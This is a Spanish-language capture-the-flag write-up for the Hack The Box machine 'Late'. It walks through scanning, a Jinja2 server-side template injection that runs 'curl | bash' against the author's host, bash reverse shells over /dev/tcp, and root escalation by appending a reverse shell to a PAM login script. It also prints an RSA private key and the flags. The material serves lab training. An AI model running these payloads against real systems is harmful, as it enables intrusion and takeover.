Late [EASY🟢]
Dificultad: Fácil
1- Reconocimiento y escaneo
1.1 Ping
1.1 Ping
ping -c 1 10.10.11.156
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─# ping -c 1 10.10.11.156
PING 10.10.11.156 (10.10.11.156) 56(84) bytes of data.
64 bytes from 10.10.11.156: icmp_seq=1 ttl=63 time=170 ms
--- 10.10.11.156 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 169.920/169.920/169.920/0.000 ms
Podemos notar que se trata de una maquina Linux, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
1.2 Nmap
nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.11.156 -oN escaneo.txt
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─# nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.11.156 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-11 19:18 -03
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─# nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.11.156 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-11 19:21 -03
Nmap scan report for 10.10.11.156
Host is up (0.18s latency).
Not shown: 65519 closed tcp ports (reset), 14 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
| 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.67 seconds
El puerto 80(nginx 1.14.0) correspondiente a un servidor web y el puerto 22(OpenSSH 7.6p1) correspondiente a un servidor SSH para control remoto mediante linea de comandos
1.3 whatweb
1.3 whatweb
http://10.10.11.156 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], Email[#,support@late.htb], Google-API[ajax/libs/jquery/1.10.2/jquery.min.js], HTML5, HTTPServer[Ubuntu Linux][nginx/1.14.0 (Ubuntu)], IP[10.10.11.156], JQuery[1.10.2], Meta-Author[Sergey Pozhilov (GetTemplate.com)], Script, Title[Late - Best online image tools], nginx[1.14.0]
Bosstrap 3.0.0
Nginx 1.14.0
JQuery 1.10.2

1.4 Virtual Hosting
1.4 Virtual Hosting
Si investigamos el sitio web, y bajamos abajo del todo, veremos un enlace en el que podremos acceder:

Ingresamos:

Veremos que no nos deja acceder, pero si miramos el enlace a donde nos llevo, veremos esto "https://images.late.htb/", lo cual podemos decir que se aplica un virtual hosting y tendremos que cambiar el archivo "/etc/hosts":
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─# nvim /etc/hosts
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─# cat /etc/hosts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: /etc/hosts
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ 127.0.0.1 localhost
2 │ 127.0.1.1 kali
3 │
4 │ # HACK THE BOX
5 │ 10.10.11.156 images.late.htb
6 │
7 │ # The following lines are desirable for IPv6 capable hosts
8 │ ::1 localhost ip6-localhost ip6-loopback
9 │ ff02::1 ip6-allnodes
10 │ ff02::2 ip6-allrouters
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─#
Como podemos ver, el subdominio "images.late.htb"
esta apuntando a la IP 10.10.11.156
que es la IP de la maquina objetivo, si ingresamos nuevamente:

Ahora el subdominio es funcional, se trata de un sitio web que con el subir una imagen, nos la convierte en texto, ya podemos ir sabiendo mas o menos por donde va la intrusión de la maquina

Como podemos ver en la imgen, he subido una imagen que contiene el texto "Hola que tal", y la he subido a la pagina web, y me descargo automaticamente un archivo .TXT con lo que contiene en texto la imagen subida con el siguiente formato:
<p>Hola que tal
</p>
2- Explotación
2.1 SSTI (Server-Side Template Injection)
2.1 SSTI (Server-Side Template Injection)
Como pudimos ver, nosotros al ingresar una imagen con texto, nos devuelve el mismo texto en formato de archivo .TXT con lo mismo, siempre que nosotros ingresemos algo en un sitio web y nos reporte lo mismo hay que pensar en un probable ataque SSTI
2.2 Reverse shell con SSTI
2.2 Reverse shell con SSTI
Para eso vamos a utilizar un código en HTML que actué como payload y sacarle una captura de pantalla y mandárselo a la web y luego que la web interprete ese HTML como código bash, en mi caso utilizare el siguiente código en Bash:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.12/443 0>&1
Creo el archivo:
┌──(root㉿kali)-[/home/t0mz/ctf/late/server]
└─# nvim index.html
┌──(root㉿kali)-[/home/t0mz/ctf/late/server]
└─# cat index.html
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: index.html
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/bash
2 │
3 │ bash -i >& /dev/tcp/10.10.14.12/443 0>&1
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
┌──(root㉿kali)-[/home/t0mz/ctf/late/server]
└─#
(En mi caso la reverse shell me la voy a enviar a mi maquina por la IP 10.10.14.12 que es la IP que me asigna la VPN de Hack The Box por la interfaz de red tun0)
Y levanto un servidor web:
┌──(root㉿kali)-[/home/t0mz/ctf/late/server]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Vamos a ponernos en escucha con netcat por el puerto 443 tambien, utilizando otra consola en Kali:
┌──(root㉿kali)-[/home/t0mz/ctf/late/server]
└─# nc -nlvp 443
listening on [any] 443 ...
Y la captura con el código que le vamos a pasar, utilizaremos el siguiente código:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('curl 10.10.14.12 | bash').read() }}

Como podemos ver, le estamos diciendo que haga un curl al sitio web que tenemos alojado con Python por el puerto 80, y que lo interprete como código Bash
Subimos la imagen:

┌──(root㉿kali)-[/home/t0mz/ctf/late/server]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.156 - - [11/Mar/2025 21:07:48] "GET / HTTP/1.1" 200 -
Podemos ver que la solicitud web se realizo correctamente
┌──(root㉿kali)-[/home/t0mz/ctf/late/server]
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.156] 52016
bash: cannot set terminal process group (1412): Inappropriate ioctl for device
bash: no job control in this shell
svc_acc@late:~/app$
Y ya tenemos la reverse shell
2.3 Tratamiento de la TTY
2.3 Tratamiento de la TTY
Vamos a realizar el tratamiento de la TTY para obtener una shell como dios manda :)
"script /dev/null -c bash"
:
svc_acc@late:~/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
svc_acc@late:~/app$
CTRL + Z:
svc_acc@late:~/app$ ^Z
zsh: suspended nc -nlvp 443
┌──(root㉿kali)-[/home/t0mz/ctf/late/server]
└─#
Y vamos a ejecutar el siguiente comando:
stty raw -echo; fg
Ejecutamos:
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
Y ahora ejecutamos:
reset xterm
Ejecutamos y nos va a devolver a la reverse shell que obtuvimos:
svc_acc@late:~/app$
Ahora vamos a exportar XTERM como TERM y BASH como consola, como variables de entorno:
svc_acc@late:~/app$ export SHELL=bash
svc_acc@late:~/app$ export TERM=xterm
svc_acc@late:~/app$
Para verificar que el tratamiento de la TTY se realizo correctamente, pondremos "echo $SHELL"
o "echo $TERM"
:
svc_acc@late:~/app$ echo $SHELL
bash
svc_acc@late:~/app$ echo $TERM
xterm
svc_acc@late:~/app$
El tratamiento de la TTY corresponde hacerlo cuando debemos hacer muchas cosas con una reverse shell y necesitamos realizar algunas tareas como utilizar un editor de texto en consola, entre otras
2.4 Obtención de la flag user
2.4 Obtención de la flag user
La flag de user se encuentra dentro de la ruta absoluta "/home/svc_acc/user.txt"
, vamos a visualizar la flag:
svc_acc@late:~/app$ cat /home/svc_acc/user.txt
4c13b6b65a41741547099d6e1921d36e
svc_acc@late:~/app$
3- Escalado de privilegios
3.1 Búsqueda de archivos Bash del usuario svc_acc
3.1 Búsqueda de archivos Bash del usuario svc_acc
Vamos a realizar una búsqueda de archivos .SH que pertenezcan al usuario "svc_acc":
find / -user svc_acc 2>/dev/null | grep .sh
svc_acc@late:~/app$ find / -user svc_acc 2>/dev/null | grep .sh
/home/svc_acc/.ssh
/home/svc_acc/.ssh/id_rsa
/home/svc_acc/.ssh/id_rsa.pub
/home/svc_acc/.ssh/authorized_keys
/home/svc_acc/.bashrc
/home/svc_acc/.local/share
/home/svc_acc/.local/share/nano
/home/svc_acc/.local/share/keyrings
/home/svc_acc/.local/share/keyrings/login.keyring
/home/svc_acc/.local/share/keyrings/user.keystore
svc_acc@late:~/app$ find / -user svc_acc 2>/dev/null | grep .sh
/home/svc_acc/.ssh
/home/svc_acc/.ssh/id_rsa
/home/svc_acc/.ssh/id_rsa.pub
/home/svc_acc/.ssh/authorized_keys
/home/svc_acc/.bashrc
/home/svc_acc/.local/share
/home/svc_acc/.local/share/nano
/home/svc_acc/.local/share/keyrings
/home/svc_acc/.local/share/keyrings/login.keyring
/home/svc_acc/.local/share/keyrings/user.keystore
/home/svc_acc/.local/lib/python3.6/site-packages/click/shell_completion.py
/home/svc_acc/.local/lib/python3.6/site-packages/click/__pycache__/shell_completion.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/middleware/shared_data.py
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/middleware/__pycache__/shared_data.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/less.png
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/FONT_LICENSE
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/more.png
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/ubuntu.ttf
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/style.css
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/debugger.js
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/source.png
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/console.png
/home/svc_acc/.local/lib/python3.6/site-packages/werkzeug/debug/shared/ICON_LICENSE.md
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_internal/commands/show.py
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_internal/commands/hash.py
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_internal/commands/__pycache__/hash.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_internal/commands/__pycache__/show.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_internal/utils/hashes.py
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_internal/utils/__pycache__/hashes.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/chardet/__pycache__/langturkishmodel.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/chardet/langturkishmodel.py
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/html5lib/treewalkers/__pycache__/genshi.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/html5lib/treewalkers/genshi.py
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/html5lib/treeadapters/__pycache__/genshi.cpython-36.pyc
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/html5lib/treeadapters/genshi.py
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/distlib/_backport/shutil.py
/home/svc_acc/.local/lib/python3.6/site-packages/pip/_vendor/distlib/_backport/__pycache__/shutil.cpython-36.pyc
/home/svc_acc/.bash_history
/usr/local/sbin/ssh-alert.sh
svc_acc@late:~/app$
Nos devuelve muchos archivos ".SH", y en la ultima linea nos encontramos con este archivo:
/usr/local/sbin/ssh-alert.sh
3.2 ssh-alert.sh
3.2 ssh-alert.sh
Vamos a ver que contiene este archivo Bash "ssh-alert.sh":
svc_acc@late:~/app$ cd /usr/local/sbin/
svc_acc@late:/usr/local/sbin$ cat ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
svc_acc@late:/usr/local/sbin$
Podemos ver que es un archivo .SH que alerta al usuario "svc_acc" sobre cada inicio de sesión por SSH
Vamos a ver los permisos que tiene este archivo:
svc_acc@late:/usr/local/sbin$ ls -la
total 12
drwxr-xr-x 2 svc_acc svc_acc 4096 Mar 12 00:31 .
drwxr-xr-x 10 root root 4096 Aug 6 2020 ..
-rwxr-xr-x 1 svc_acc svc_acc 433 Mar 12 00:31 ssh-alert.sh
svc_acc@late:/usr/local/sbin$
Tenemos permisos de lectura y ejecución, por lo que si se ejecutase este archivo, podríamos obtener acceso root, ya que el usuario svc_acc tiene permisos de ejecución, pero no tenemos permisos de escritura
Ahora vamos a ver los atributos que tenemos sobre este archivo:
svc_acc@late:/usr/local/sbin$ lsattr ssh-alert.sh
-----a--------e--- ssh-alert.sh
svc_acc@late:/usr/local/sbin$
Tenemos permisos para agregar cosas sobre el archivo
Por lo que podríamos realizarle un "echo"
y con ">>"
al final, indicarle que queremos agregar algo al final del archivo, pero antes, nosotros sabemos que este archivo se ejecuta cada vez que alguien se conecta vía SSH, por lo que podríamos conseguir la clave publica "id_rsa"
del usuario "svc_acc"
para conectarnos vía SSH y conseguir que se ejecute el archivo "ssh-alert.sh"
Sabiendo esto, primero vamos por partes, vamos a agregar al archivo "ssh-alert.sh" un codigo bash para enviarnos una reverse shell, el mismo código que utilizamos para obtener la reverse shell con el usuario "svc_acc":
bash -i >& /dev/tcp/10.10.14.12/888 0>&1
Vamos a agregarlo al archivo "ssh-alert.sh" con "echo":
(Vamos a abrir la reverse shell por el puerto 888)
echo "bash -i >& /dev/tcp/10.10.14.12/888 0>&1" >> ssh-alert.sh
ssh-alert.sh usr/local/sbin$ echo "bash -i >& /dev/tcp/10.10.14.12/443 0>&1" >>
svc_acc@late:/usr/local/sbin$
svc_acc@late:/usr/local/sbin$ cat ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
bash -i >& /dev/tcp/10.10.14.12/888 0>&1
svc_acc@late:/usr/local/sbin$
Vemos que se agrego en el archivo "ssh-alert.sh"
Ahora vamos a conseguir la clave publica "id_rsa" para conectarnos vía SSH con el usuario "svc_acc" sin contraseña, la clave se encuentra dentro la ruta absoluta "/home/svc_acc/.ssh/id_rsa"
:
svc_acc@late:/usr/local/sbin$ cat /home/svc_acc/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
bgjRSynr2NuDWPQhX8OmhAKdJhZfErZUcbxiuncrKnoClZLQ6ZZDaNTtTUwpUaMi
/mtaHzLID1KTl+dUFsLQYmdRUA639xkz1YvDF5ObIDoeHgOU7rZV4TqA6s6gI7W7
d137M3Oi2WTWRBzcWTAMwfSJ2cEttvS/AnE/B2Eelj1shYUZuPyIoLhSMicGnhB7
7IKpZeQ+MgksRcHJ5fJ2hvTu/T3yL9tggf9DsQIDAQABAoIBAHCBinbBhrGW6tLM
fLSmimptq/1uAgoB3qxTaLDeZnUhaAmuxiGWcl5nCxoWInlAIX1XkwwyEb01yvw0
ppJp5a+/OPwDJXus5lKv9MtCaBidR9/vp9wWHmuDP9D91MKKL6Z1pMN175GN8jgz
W0lKDpuh1oRy708UOxjMEalQgCRSGkJYDpM4pJkk/c7aHYw6GQKhoN1en/7I50IZ
uFB4CzS1bgAglNb7Y1bCJ913F5oWs0dvN5ezQ28gy92pGfNIJrk3cxO33SD9CCwC
T9KJxoUhuoCuMs00PxtJMymaHvOkDYSXOyHHHPSlIJl2ZezXZMFswHhnWGuNe9IH
Ql49ezkCgYEA0OTVbOT/EivAuu+QPaLvC0N8GEtn7uOPu9j1HjAvuOhom6K4troi
WEBJ3pvIsrUlLd9J3cY7ciRxnbanN/Qt9rHDu9Mc+W5DQAQGPWFxk4bM7Zxnb7Ng
Hr4+hcK+SYNn5fCX5qjmzE6c/5+sbQ20jhl20kxVT26MvoAB9+I1ku8CgYEA0EA7
t4UB/PaoU0+kz1dNDEyNamSe5mXh/Hc/mX9cj5cQFABN9lBTcmfZ5R6I0ifXpZuq
0xEKNYA3HS5qvOI3dHj6O4JZBDUzCgZFmlI5fslxLtl57WnlwSCGHLdP/knKxHIE
uJBIk0KSZBeT8F7IfUukZjCYO0y4HtDP3DUqE18CgYBgI5EeRt4lrMFMx4io9V3y
3yIzxDCXP2AdYiKdvCuafEv4pRFB97RqzVux+hyKMthjnkpOqTcetysbHL8k/1pQ
GUwuG2FQYrDMu41rnnc5IGccTElGnVV1kLURtqkBCFs+9lXSsJVYHi4fb4tZvV8F
ry6CZuM0ZXqdCijdvtxNPQKBgQC7F1oPEAGvP/INltncJPRlfkj2MpvHJfUXGhMb
Vh7UKcUaEwP3rEar270YaIxHMeA9OlMH+KERW7UoFFF0jE+B5kX5PKu4agsGkIfr
kr9wto1mp58wuhjdntid59qH+8edIUo4ffeVxRM7tSsFokHAvzpdTH8Xl1864CI+
Fc1NRQKBgQDNiTT446GIijU7XiJEwhOec2m4ykdnrSVb45Y6HKD9VS6vGeOF1oAL
K6+2ZlpmytN3RiR9UDJ4kjMjhJAiC7RBetZOor6CBKg20XA1oXS7o1eOdyc/jSk0
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
-----END RSA PRIVATE KEY-----
svc_acc@late:/usr/local/sbin$
Vamos a copiarla y a guardarnosla en un archivo llamado "id_rsa":
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─# touch id_rsa
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─# nvim id_rsa
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─# cat id_rsa
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: id_rsa
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ -----BEGIN RSA PRIVATE KEY-----
2 │ MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
3 │ HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO
4 │ bgjRSynr2NuDWPQhX8OmhAKdJhZfErZUcbxiuncrKnoClZLQ6ZZDaNTtTUwpUaMi
5 │ /mtaHzLID1KTl+dUFsLQYmdRUA639xkz1YvDF5ObIDoeHgOU7rZV4TqA6s6gI7W7
6 │ d137M3Oi2WTWRBzcWTAMwfSJ2cEttvS/AnE/B2Eelj1shYUZuPyIoLhSMicGnhB7
7 │ 7IKpZeQ+MgksRcHJ5fJ2hvTu/T3yL9tggf9DsQIDAQABAoIBAHCBinbBhrGW6tLM
8 │ fLSmimptq/1uAgoB3qxTaLDeZnUhaAmuxiGWcl5nCxoWInlAIX1XkwwyEb01yvw0
9 │ ppJp5a+/OPwDJXus5lKv9MtCaBidR9/vp9wWHmuDP9D91MKKL6Z1pMN175GN8jgz
10 │ W0lKDpuh1oRy708UOxjMEalQgCRSGkJYDpM4pJkk/c7aHYw6GQKhoN1en/7I50IZ
11 │ uFB4CzS1bgAglNb7Y1bCJ913F5oWs0dvN5ezQ28gy92pGfNIJrk3cxO33SD9CCwC
12 │ T9KJxoUhuoCuMs00PxtJMymaHvOkDYSXOyHHHPSlIJl2ZezXZMFswHhnWGuNe9IH
13 │ Ql49ezkCgYEA0OTVbOT/EivAuu+QPaLvC0N8GEtn7uOPu9j1HjAvuOhom6K4troi
14 │ WEBJ3pvIsrUlLd9J3cY7ciRxnbanN/Qt9rHDu9Mc+W5DQAQGPWFxk4bM7Zxnb7Ng
15 │ Hr4+hcK+SYNn5fCX5qjmzE6c/5+sbQ20jhl20kxVT26MvoAB9+I1ku8CgYEA0EA7
16 │ t4UB/PaoU0+kz1dNDEyNamSe5mXh/Hc/mX9cj5cQFABN9lBTcmfZ5R6I0ifXpZuq
17 │ 0xEKNYA3HS5qvOI3dHj6O4JZBDUzCgZFmlI5fslxLtl57WnlwSCGHLdP/knKxHIE
18 │ uJBIk0KSZBeT8F7IfUukZjCYO0y4HtDP3DUqE18CgYBgI5EeRt4lrMFMx4io9V3y
19 │ 3yIzxDCXP2AdYiKdvCuafEv4pRFB97RqzVux+hyKMthjnkpOqTcetysbHL8k/1pQ
20 │ GUwuG2FQYrDMu41rnnc5IGccTElGnVV1kLURtqkBCFs+9lXSsJVYHi4fb4tZvV8F
21 │ ry6CZuM0ZXqdCijdvtxNPQKBgQC7F1oPEAGvP/INltncJPRlfkj2MpvHJfUXGhMb
22 │ Vh7UKcUaEwP3rEar270YaIxHMeA9OlMH+KERW7UoFFF0jE+B5kX5PKu4agsGkIfr
23 │ kr9wto1mp58wuhjdntid59qH+8edIUo4ffeVxRM7tSsFokHAvzpdTH8Xl1864CI+
24 │ Fc1NRQKBgQDNiTT446GIijU7XiJEwhOec2m4ykdnrSVb45Y6HKD9VS6vGeOF1oAL
25 │ K6+2ZlpmytN3RiR9UDJ4kjMjhJAiC7RBetZOor6CBKg20XA1oXS7o1eOdyc/jSk0
26 │ kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
27 │ -----END RSA PRIVATE KEY-----
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─#
Vamos a conectarnos por SSH para verificar si ya podemos conectarnos sin contraseña con el usuario "svc_acc":
Vamos a darle permisos al archivo "id_rsa" que acabamos de crear:
chmod 600 id_rsa
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─# chmod 600 id_rsa
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─#
Y vamos a conectarnos:
ssh svc_acc@10.10.11.156 -i id_rsa
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─# ssh svc_acc@10.10.11.156 -i id_rsa
The authenticity of host '10.10.11.156 (10.10.11.156)' can't be established.
ED25519 key fingerprint is SHA256:LsThZBhhwN3ctG27voIMK8bWCmPJkR4iDV9eb/adDOc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.156' (ED25519) to the list of known hosts.
svc_acc@late:~$
Nos deja, asi que vamos a salirnos de esta sesión de SSH y vamos a ponernos en escucha con netcat por el puerto 888:
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─# nc -nlvp 888
listening on [any] 888 ...
Y vamos a conectarnos otra vez por SSH con el usuario "svc_acc":
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─# ssh svc_acc@10.10.11.156 -i id_rsa
Se quedo cargando, pero si volvemos a la consola donde teniamos netcat en escucha por el puerto 888:
┌──(root㉿kali)-[/home/t0mz/ctf/late]
└─# nc -nlvp 888
listening on [any] 888 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.156] 38756
bash: cannot set terminal process group (4505): Inappropriate ioctl for device
bash: no job control in this shell
root@late:/#
Somos usuarios root
3.3 Obtención de la flag root
3.3 Obtención de la flag root
La flag de root, se encuentra dentro del directorio "
/root/root.txt"
:
root@late:/# cat /root/root.txt
cat /root/root.txt
37beb73764dc3d0077e4d393bae7e98f
root@late:/#
Con esto, concluimos la maquina "Late" de Hack The Box
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales
Última actualización